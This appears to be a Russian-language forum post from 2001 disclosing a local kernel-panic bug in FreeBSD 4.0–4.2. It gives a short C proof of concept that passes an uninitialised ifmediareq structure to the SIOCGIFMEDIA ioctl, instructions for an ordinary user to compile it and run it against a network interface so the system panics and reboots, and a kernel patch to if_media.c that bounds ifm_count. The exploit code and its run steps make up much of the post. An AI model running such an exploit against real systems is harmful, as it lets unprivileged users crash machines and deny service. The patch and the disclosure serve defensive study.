Рекомендую всех отнестись к этому серьезно...
И не пробовать запускать на своих серверах... :)
Это проверено не только мной и работает!
Эти исходники представляются As is, и я собственно не несу никакой ответственности за вред который они могут причинить...
Ну а теперь к делу...
У меня FreeBSD 4.0
на 4.1 и 4.2 это тоже работает...
но не все сетевые карты. Точно работает на vr, rl, de. На ed может сработать, но не уверен (до сих пор не разу не сработало :( )
Исходник:
---------------------------
#include <stdio.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/sockio.h>
#include <net/if.h>
int GetMedia (char *dev)
{
int s;
struct ifmediareq ifmr;
if ((s = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
return errno;
strcpy (ifmr.ifm_name, dev);
if (ioctl (s, SIOCGIFMEDIA, (caddr_t)&ifmr) < 0)
return errno;
return 0;
}
int main (int argc, char **argv)
{
if (argc < 2) {
printf ("usage: crash <devname>\n");
return -1;
}
GetMedia (argv[1]);
printf ("Try other interface (vr, rl, de, fxp...)!!!\n");
return 0;
}
------------------
Обыкновенным юзером!
Компилить с динамической линковкой
Короче: gcc -o crash crash.c
Запустить с именем эзернет интерфейса
./crash vr0 например...
Система уходит в кернел паник и в ребут.
Лечить примерно так:
Как будут лечить Фришные разработчики я не знаю, узнаем потом..
Я вылечил так:
Файл ядра: net/if_media.c
--- if_media.c.old Mon Feb 26 17:49:29 2001
+++ if_media.c Mon Feb 26 18:26:20 2001
@@ -280,6 +280,11 @@
ifmr->ifm_status = 0;
(*ifm->ifm_status)(ifp, ifmr);
+ /* patch for ioctl crash! */
+ if (ifmr->ifm_count > IFM_TMASK ||
+ ifmr->ifm_count < 0)
+ ifmr->ifm_count = 0;
+
count = 0;
ep = ifm->ifm_list.lh_first;